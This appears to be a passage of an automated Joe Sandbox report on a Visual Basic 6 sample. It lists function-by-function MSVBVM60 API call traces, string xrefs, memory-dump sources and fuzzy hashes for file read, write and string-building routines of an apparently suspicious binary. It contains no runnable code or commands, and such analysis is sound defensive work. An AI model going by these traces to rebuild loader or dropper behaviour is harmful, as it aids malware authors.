__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00413EB7
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00413EBA
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00413EC4
__vbaFreeStr.MSVBVM60(?,00000008,?), ref: 00413ECC
__vbaFreeVar.MSVBVM60(?,00000008,?), ref: 00413ED8
#537.MSVBVM60(00000000,?,00000008,?), ref: 00413EEA
#537.MSVBVM60(00000000,?,00000008,?), ref: 00413F02
#537.MSVBVM60(00000000,?,00000008,?), ref: 00413F1A
#537.MSVBVM60(00000000,?,00000008,?), ref: 00413F32
#537.MSVBVM60(00000000,?,00000008,?), ref: 00413F4A
#537.MSVBVM60(00000000,?,00000008,?), ref: 00413F62
#537.MSVBVM60(00000000,?,00000008,?), ref: 00413F7A
#537.MSVBVM60(00000000,?,00000008,?), ref: 00413F92
#537.MSVBVM60(00000000,?,00000008,?), ref: 00413FAA
#606.MSVBVM60(00000002,00000008,?,00000008,?), ref: 00413FC9
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00413FD3
#537.MSVBVM60(00000001,00000000,?,00000008,?), ref: 00413FD8
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00413FE6
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00413FE9
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00413FF3
#537.MSVBVM60(00000000,00000000,?,00000008,?), ref: 00413FF8
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414006
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00414009
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414013
#537.MSVBVM60(00000001,00000000,?,00000008,?), ref: 00414018
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414026
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00414029
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414033
#537.MSVBVM60(00000000,00000000,?,00000008,?), ref: 00414038
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414046
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00414049
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414053
#537.MSVBVM60(00000010,00000000,?,00000008,?), ref: 00414058
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414066
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00414069
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414073
#537.MSVBVM60(00000010,00000000,?,00000008,?), ref: 00414078
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414086
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00414089
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414093
#606.MSVBVM60(00000006,00000008,00000000,?,00000008,?), ref: 0041409F
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004140A9
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004140AC
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004140B6
#581.MSVBVM60(&H68,00000000,?,00000008,?), ref: 004140BE
__vbaFpI4.MSVBVM60(?,00000008,?), ref: 004140C4
#537.MSVBVM60(00000000,?,00000008,?), ref: 004140CB
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004140D9
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004140DC
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004140E6
#537.MSVBVM60(00000003,00000000,?,00000008,?), ref: 004140EB
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004140F9
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004140FC
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414106
#606.MSVBVM60(00000002,00000008,00000000,?,00000008,?), ref: 00414112
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0041411C
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0041411F
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414129
#537.MSVBVM60(00000016,00000000,?,00000008,?), ref: 0041412E
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0041413C
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0041413F
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414149
#606.MSVBVM60(00000003,00000008,00000000,?,00000008,?), ref: 00414155
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0041415F
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00414162
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0041416C
#537.MSVBVM60(00000028,00000000,?,00000008,?), ref: 00414171
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0041417F
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00414182
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0041418C
#606.MSVBVM60(00000003,00000008,00000000,?,00000008,?), ref: 00414198
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004141A2
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004141A5
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004141AF
#537.MSVBVM60(00000010,00000000,?,00000008,?), ref: 004141B4
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004141C2
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004141C5
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004141CF
#606.MSVBVM60(00000003,00000008,00000000,?,00000008,?), ref: 004141DB
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004141E5
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004141E8
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004141F2
#537.MSVBVM60(00000020,00000000,?,00000008,?), ref: 004141F7
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414205
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00414208
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414212
#606.MSVBVM60(00000003,00000008,00000000,?,00000008,?), ref: 0041421E
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414228
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0041422B
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414235
#537.MSVBVM60(00000001,00000000,?,00000008,?), ref: 0041423A
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414248
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0041424B
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414255
#537.MSVBVM60(00000000,00000000,?,00000008,?), ref: 0041425A
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414268
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0041426B
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414275
#537.MSVBVM60(00000018,00000000,?,00000008,?), ref: 0041427A
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414288
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0041428B
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00414295
#606.MSVBVM60(00000005,00000008,00000000,?,00000008,?), ref: 004142A1
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004142AB
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004142AE
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004142B8
#537.MSVBVM60(00000040,00000000,?,00000008,?), ref: 004142BD
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004142CB
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004142CE
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004142D8
#537.MSVBVM60(00000003,00000000,?,00000008,?), ref: 004142DD
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004142EB
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004142EE
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004142F8
#606.MSVBVM60(00000012,00000008,00000000,?,00000008,?), ref: 00414304
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0041430E
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00414311
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0041431B
__vbaStrCat.MSVBVM60(?,00000000,?,00000008,?), ref: 00414325
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0041432F
__vbaFreeStrList.MSVBVM60(00000033,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00414498
__vbaFreeVarList.MSVBVM60(00000009,00000008,00000008,00000008,00000008,00000008,00000008,00000008,00000008,00000008,?,00000008,?), ref: 004144DF
#648.MSVBVM60(0000000A), ref: 00414AEA
__vbaFreeVar.MSVBVM60 ref: 00414AFC
__vbaI2I4.MSVBVM60(?), ref: 00414B0E
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000), ref: 00414B18
__vbaI2I4.MSVBVM60 ref: 00414B20
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 00414B2C
__vbaI2I4.MSVBVM60 ref: 00414B34
__vbaFileClose.MSVBVM60(00000000), ref: 00414B37
__vbaExitProc.MSVBVM60 ref: 00414B47
__vbaAryDestruct.MSVBVM60(00000000,?,00414D6B,?,00000000), ref: 00414D44
__vbaFreeStr.MSVBVM60(?,00000000), ref: 00414D53
__vbaFreeStr.MSVBVM60(?,00000000), ref: 00414D58
__vbaFreeStr.MSVBVM60(?,00000000), ref: 00414D60
__vbaFreeStr.MSVBVM60(?,00000000), ref: 00414D68
__vbaErrorOverflow.MSVBVM60(?,00000000), ref: 00414D8A

Strings

&HA8, xrefs: 004146CB
&H68, xrefs: 004140B9
h#@, xrefs: 00412F42, 00412F97, 00413569, 004131A5
, xrefs: 004144F0

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Move$Error$#537$BoundsGenerate$Free$#606CheckHresult$_adj_fdiv_m64$AnsiCopy$ListSystem$File$#581#648BstrCloseDestructExitOpenOverflowProcPut3RedimUnicode
String ID: $&H68$&HA8$h#@
API String ID: 3305104701-1988485601
Opcode ID: cd20a7d3b55ef82ee3132964682ea25cd73d0367465c479d272536d82207a749
Instruction ID: f198cd70f4d496bc7940f7355a5e4fe40ff025cce30350eb0c459dc764c5fff0
Opcode Fuzzy Hash: cd20a7d3b55ef82ee3132964682ea25cd73d0367465c479d272536d82207a749
Instruction Fuzzy Hash: A8130C71D002289BCB25DF65DD88BDEBBB9FB48301F1081EAE50AA6250DE745F85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00403A5C Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c9b5fadcff6fc1b6333f2045a5fcfbe11ec3f7d18c2f0a438c4e6aacca40780
Instruction ID: 082b4fd57fed1769b9006e205b6e9b322f4e6cb11cfcb06b4efda431eea04361
Opcode Fuzzy Hash: 9c9b5fadcff6fc1b6333f2045a5fcfbe11ec3f7d18c2f0a438c4e6aacca40780
Instruction Fuzzy Hash: 85014FA644E3D24FC31387344CA49917FB0AD2311534A02DBC581CB1A3E208994AD762

Uniqueness

Uniqueness Score: -1.00%

Function 00415660 Relevance: 163.2, APIs: 92, Strings: 1, Instructions: 495COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(66107559,00000000,00000000), ref: 004156CA
__vbaStrCopy.MSVBVM60 ref: 004156D2
__vbaOnError.MSVBVM60(00000001), ref: 004156D6
#648.MSVBVM60(0000000A), ref: 004156EE
__vbaFreeVar.MSVBVM60 ref: 004156FD
__vbaI2I4.MSVBVM60(?), ref: 0041570F
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00415719
__vbaI2I4.MSVBVM60 ref: 00415721
#570.MSVBVM60(00000000), ref: 00415724
__vbaLenBstr.MSVBVM60(00404B24), ref: 00415734
__vbaStrCopy.MSVBVM60 ref: 00415753

Part of subcall function 0040EE70: __vbaLenBstr.MSVBVM60(00000000), ref: 0040EEAD
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,?), ref: 0040EEF8
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,?), ref: 0040EF03
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,?), ref: 0040EF0A
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,?), ref: 0040EF68
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,?), ref: 0040EF71
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFA1
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFAC
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 0040EFB3

__vbaStrMove.MSVBVM60(?), ref: 00415769
__vbaFreeStr.MSVBVM60 ref: 0041576E
__vbaLenBstr.MSVBVM60(00404B24), ref: 00415782
#525.MSVBVM60(00000000), ref: 00415789
__vbaStrMove.MSVBVM60 ref: 00415794
__vbaI2I4.MSVBVM60 ref: 00415799
__vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 004157A3

Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0040F00F
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 0040F018
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F049
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F054
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F05B
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0AF
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0B8
Part of subcall function 0040EE70: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0F3
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F104
Part of subcall function 0040EE70: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F107
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F112
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F117

__vbaStrMove.MSVBVM60(?), ref: 004157B7
__vbaStrMove.MSVBVM60(00000003), ref: 004157C8
#616.MSVBVM60(00000000), ref: 004157CB
__vbaStrMove.MSVBVM60 ref: 004157D6
__vbaStrCmp.MSVBVM60(?,00000000), ref: 004157DD
__vbaFreeStrList.MSVBVM60(00000003,?,?,00000000), ref: 004157FF
__vbaStrMove.MSVBVM60(?), ref: 00415824
__vbaStrMove.MSVBVM60(00000004,?), ref: 00415839
#618.MSVBVM60(00000000), ref: 0041583C
__vbaStrMove.MSVBVM60 ref: 00415847
__vbaStrCat.MSVBVM60(00000000), ref: 0041584A
__vbaStrMove.MSVBVM60(00000000), ref: 00415865
__vbaFreeStrList.MSVBVM60(00000004,?,?,00000000,00000000), ref: 00415879
__vbaI2I4.MSVBVM60 ref: 0041588E
__vbaGet4.MSVBVM60(00000004,?,-00000005,00000000), ref: 00415898
__vbaStrMove.MSVBVM60 ref: 00415855

Part of subcall function 0040EAB0: #594.MSVBVM60(?,660E1A08,-00000001,660E6C30), ref: 0040EB1A
Part of subcall function 0040EAB0: __vbaFreeVar.MSVBVM60 ref: 0040EB23
Part of subcall function 0040EAB0: __vbaLenBstr.MSVBVM60 ref: 0040EB2F
Part of subcall function 0040EAB0: #631.MSVBVM60(?,?,0000000A), ref: 0040EB68
Part of subcall function 0040EAB0: __vbaStrMove.MSVBVM60(?,?,0000000A), ref: 0040EB73
Part of subcall function 0040EAB0: #516.MSVBVM60(00000000,?,?,0000000A), ref: 0040EB7A
Part of subcall function 0040EAB0: __vbaFreeStr.MSVBVM60(?,?,0000000A), ref: 0040EB89
Part of subcall function 0040EAB0: __vbaFreeVar.MSVBVM60(?,?,0000000A), ref: 0040EB92

__vbaStrCat.MSVBVM60(0000,?), ref: 004158D0
__vbaStrMove.MSVBVM60 ref: 004158DB
__vbaStrCat.MSVBVM60(0000,?), ref: 004158EC
__vbaStrMove.MSVBVM60 ref: 004158F7
__vbaStrMove.MSVBVM60(?), ref: 00415907
__vbaFreeStr.MSVBVM60 ref: 0041590C
__vbaI2I4.MSVBVM60 ref: 00415915
__vbaFileSeek.MSVBVM60(00000001,00000000), ref: 0041591A
#648.MSVBVM60(0000000A), ref: 00415932
__vbaFreeVar.MSVBVM60 ref: 00415941
__vbaI2I4.MSVBVM60(?), ref: 0041594D
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000), ref: 00415957
#525.MSVBVM60(00001000), ref: 00415962
__vbaStrMove.MSVBVM60 ref: 0041596D
__vbaI2I4.MSVBVM60 ref: 004159A3
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 004159AC
__vbaI2I4.MSVBVM60 ref: 004159B4
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 004159BD
#525.MSVBVM60(?), ref: 004159E9
__vbaStrMove.MSVBVM60 ref: 004159F4
__vbaI2I4.MSVBVM60 ref: 004159F9
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00415A02
__vbaI2I4.MSVBVM60 ref: 00415A0A
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 00415A13
#594.MSVBVM60(0000000A), ref: 00415A37
__vbaFreeVar.MSVBVM60 ref: 00415A40
__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,000000FF,00000000), ref: 00415A5C
#593.MSVBVM60(0000000A), ref: 00415A86
__vbaGenerateBoundsError.MSVBVM60 ref: 00415AAF
__vbaGenerateBoundsError.MSVBVM60 ref: 00415ABD
__vbaFpUI1.MSVBVM60 ref: 00415ADF
__vbaFreeVar.MSVBVM60 ref: 00415AF7
__vbaSetSystemError.MSVBVM60 ref: 00415B1F
__vbaI2I4.MSVBVM60 ref: 00415B6D
__vbaPutOwner3.MSVBVM60(00407524,?,00000000), ref: 00415B79

Part of subcall function 0040EE70: __vbaStrCopy.MSVBVM60 ref: 0040F13C
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(0040F175), ref: 0040F16E

#593.MSVBVM60(0000000A), ref: 00415BB3
__vbaFpI4.MSVBVM60 ref: 00415BD5
__vbaFreeVar.MSVBVM60 ref: 00415BE0
__vbaSetSystemError.MSVBVM60 ref: 00415BF4
__vbaRedimPreserve.MSVBVM60(00000080,00000001,?,00000011,00000001,00000000,00000000), ref: 00415C0C
__vbaI2I4.MSVBVM60 ref: 00415C17
__vbaPutOwner3.MSVBVM60(00407524,?,00000000), ref: 00415C23
__vbaI2I4.MSVBVM60 ref: 00415C42
__vbaPut3.MSVBVM60(00000004,?,00000000), ref: 00415C51
__vbaI2I4.MSVBVM60 ref: 00415C55
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 00415C5E
__vbaI2I4.MSVBVM60 ref: 00415C63
__vbaFileClose.MSVBVM60(00000000), ref: 00415C6C
__vbaI2I4.MSVBVM60 ref: 00415C70
__vbaFileClose.MSVBVM60(00000000), ref: 00415C73
__vbaExitProc.MSVBVM60 ref: 00415C7C
__vbaAryDestruct.MSVBVM60(00000000,?,00415D0C), ref: 00415CE6
__vbaFreeStr.MSVBVM60 ref: 00415CF5
__vbaFreeStr.MSVBVM60 ref: 00415CFA
__vbaFreeStr.MSVBVM60 ref: 00415CFF
__vbaFreeStr.MSVBVM60 ref: 00415D04
__vbaErrorOverflow.MSVBVM60 ref: 00415D28

Strings

0000, xrefs: 004158CB, 004158E7

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Free$Move$Error$File$#516#631BstrCopyPut3$#525$#593#594#648BoundsCloseGenerateGet3Get4ListOpenOwner3RedimSystem$#537#570#616#618DestructExitOverflowPreserveProcSeek
String ID: 0000
API String ID: 292954213-211534962
Opcode ID: 7c5e828ce8de4e18a03661d5433b5bafc26df1f9f217d06a2eccdd31b2b4187d
Instruction ID: 53a986e52e39fbf970cbf615d3a1ec69ca294c6c8782ac2c6b5e72a9cd1184f1
Opcode Fuzzy Hash: 7c5e828ce8de4e18a03661d5433b5bafc26df1f9f217d06a2eccdd31b2b4187d
Instruction Fuzzy Hash: C0122DB1E00248DFDB14DBE4DD89ADDBBB5FF88301F10412AE506A72A0DB745985CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00411D10 Relevance: 143.9, APIs: 81, Strings: 1, Instructions: 403COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004025E6,?,?,?,?,00000000,004025E6), ref: 00411D2E
__vbaStrCopy.MSVBVM60(?,00000000,?,00000000,004025E6), ref: 00411D5B
__vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,004025E6), ref: 00411D6A
__vbaStrCat.MSVBVM60(00406C74,?,?,00000000,?,00000000,004025E6), ref: 00411D80
__vbaStrMove.MSVBVM60(?,00000000,?,00000000,004025E6), ref: 00411D8B

Part of subcall function 0040FBA0: __vbaChkstk.MSVBVM60(00000000,004025E6,?,?,00000000,?,00000000,004025E6), ref: 0040FBBE
Part of subcall function 0040FBA0: __vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,004025E6,?), ref: 0040FBEE
Part of subcall function 0040FBA0: #580.MSVBVM60(00000000,00000000,00000000,?,00000000,?,00000000,004025E6,?), ref: 0040FC1A
Part of subcall function 0040FBA0: #529.MSVBVM60(00004008), ref: 0040FC38

__vbaFreeStr.MSVBVM60(?,?,00000000,?,00000000,004025E6), ref: 00411D9D
__vbaStrCat.MSVBVM60(00406C74,?,?,00000000,?,00000000,004025E6), ref: 00411DB3
__vbaStrMove.MSVBVM60(?,00000000,?,00000000,004025E6), ref: 00411DBE

Part of subcall function 00415660: __vbaStrCopy.MSVBVM60(66107559,00000000,00000000), ref: 004156CA
Part of subcall function 00415660: __vbaStrCopy.MSVBVM60 ref: 004156D2
Part of subcall function 00415660: __vbaOnError.MSVBVM60(00000001), ref: 004156D6
Part of subcall function 00415660: #648.MSVBVM60(0000000A), ref: 004156EE
Part of subcall function 00415660: __vbaFreeVar.MSVBVM60 ref: 004156FD
Part of subcall function 00415660: __vbaI2I4.MSVBVM60(?), ref: 0041570F
Part of subcall function 00415660: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00415719
Part of subcall function 00415660: __vbaI2I4.MSVBVM60 ref: 00415721
Part of subcall function 00415660: #570.MSVBVM60(00000000), ref: 00415724
Part of subcall function 00415660: __vbaLenBstr.MSVBVM60(00404B24), ref: 00415734
Part of subcall function 00415660: __vbaStrCopy.MSVBVM60 ref: 00415753
Part of subcall function 00415660: __vbaStrMove.MSVBVM60(?), ref: 00415769
Part of subcall function 00415660: __vbaFreeStr.MSVBVM60 ref: 0041576E
Part of subcall function 00415660: __vbaLenBstr.MSVBVM60(00404B24), ref: 00415782
Part of subcall function 00415660: #525.MSVBVM60(00000000), ref: 00415789
Part of subcall function 00415660: __vbaStrMove.MSVBVM60 ref: 00415794
Part of subcall function 00415660: __vbaI2I4.MSVBVM60 ref: 00415799
Part of subcall function 00415660: __vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 004157A3

__vbaFreeStr.MSVBVM60(00000000,00000000,?,00000000,?,00000000,004025E6), ref: 00411DDF
__vbaStrCat.MSVBVM60(00406C74,00000006,00000006,?,00000000,?,00000000,004025E6), ref: 00411E04
__vbaStrMove.MSVBVM60(?,00000000,?,00000000,004025E6), ref: 00411E0F
#580.MSVBVM60(00000000,?,00000000,?,00000000,004025E6), ref: 00411E16
__vbaFreeStr.MSVBVM60(?,00000000,?,00000000,004025E6), ref: 00411E1F
#598.MSVBVM60(?,00000000,?,00000000,004025E6), ref: 00411E2C
__vbaNew2.MSVBVM60(004043C4,0041B024,0041B09C,?,00000000,?,00000000,004025E6), ref: 00411E5D
__vbaObjSet.MSVBVM60(?,00000000), ref: 00411E97
__vbaObjSet.MSVBVM60(?,?), ref: 00411EB8
__vbaFreeObjList.MSVBVM60(00000002,?,00000000,0041B09C,00000000,?,00000020), ref: 00411EDE
#598.MSVBVM60(?,00000000,004025E6), ref: 00411EEE
__vbaSetSystemError.MSVBVM60(?,00000000,004025E6), ref: 00411F10
__vbaStrCat.MSVBVM60(00406C74,?,00000000,?,00000000,004025E6), ref: 00411F2C
__vbaStrMove.MSVBVM60(?,00000000,004025E6), ref: 00411F37
__vbaFreeStr.MSVBVM60(00000000,?,00000000,004025E6), ref: 00411F46
#598.MSVBVM60(?,00000000,004025E6), ref: 00411F53
#648.MSVBVM60(0000000A), ref: 00411F72
__vbaFreeVar.MSVBVM60 ref: 00411F81
__vbaStrCat.MSVBVM60(00406C74,?), ref: 00411F97
__vbaFreeStr.MSVBVM60(004123A7), ref: 00412397
__vbaFreeStr.MSVBVM60 ref: 004123A0

Strings

5, xrefs: 00412346

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Free$Move$CopyError$#598$#580#648BstrChkstk$#525#529#570FileGet4ListNew2OpenSystem
String ID: 5
API String ID: 3012955283-2226203566
Opcode ID: 4c51faa2736fb7085ee1db596ec4db0ff330f662fb4349c4903174346d8d8e19
Instruction ID: b2978daf75234b14887ffa37483130b8305288e28cd3c1483e6757a63013c22d
Opcode Fuzzy Hash: 4c51faa2736fb7085ee1db596ec4db0ff330f662fb4349c4903174346d8d8e19
Instruction Fuzzy Hash: 9302E771900248EFDB04DFE0DE58BDEBBB5FB48305F108169E606B76A0DB781A85DB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040F1D0 Relevance: 133.5, APIs: 66, Strings: 10, Instructions: 460COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004025E6,?,?,?,?,0040AA6C,0041B090), ref: 0040F1EE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004025E6), ref: 0040F21E

Part of subcall function 0040FA50: __vbaChkstk.MSVBVM60(0040AA6C,004025E6,0040AA6C,?,?,?,00000000,004025E6), ref: 0040FA6E
Part of subcall function 0040FA50: __vbaOnError.MSVBVM60(000000FF,?,?,?,0040AA6C,004025E6,0040AA6C), ref: 0040FA9E
Part of subcall function 0040FA50: #648.MSVBVM60(0000000A), ref: 0040FABD
Part of subcall function 0040FA50: __vbaFreeVar.MSVBVM60 ref: 0040FACA
Part of subcall function 0040FA50: __vbaFileOpen.MSVBVM60(00000120,000000FF,?), ref: 0040FAE9
Part of subcall function 0040FA50: #570.MSVBVM60(?), ref: 0040FAFB
Part of subcall function 0040FA50: #525.MSVBVM60(00000000), ref: 0040FB02
Part of subcall function 0040FA50: __vbaStrMove.MSVBVM60 ref: 0040FB0D
Part of subcall function 0040FA50: __vbaGet3.MSVBVM60(00000000,?,?), ref: 0040FB25
Part of subcall function 0040FA50: __vbaFileClose.MSVBVM60(?), ref: 0040FB37
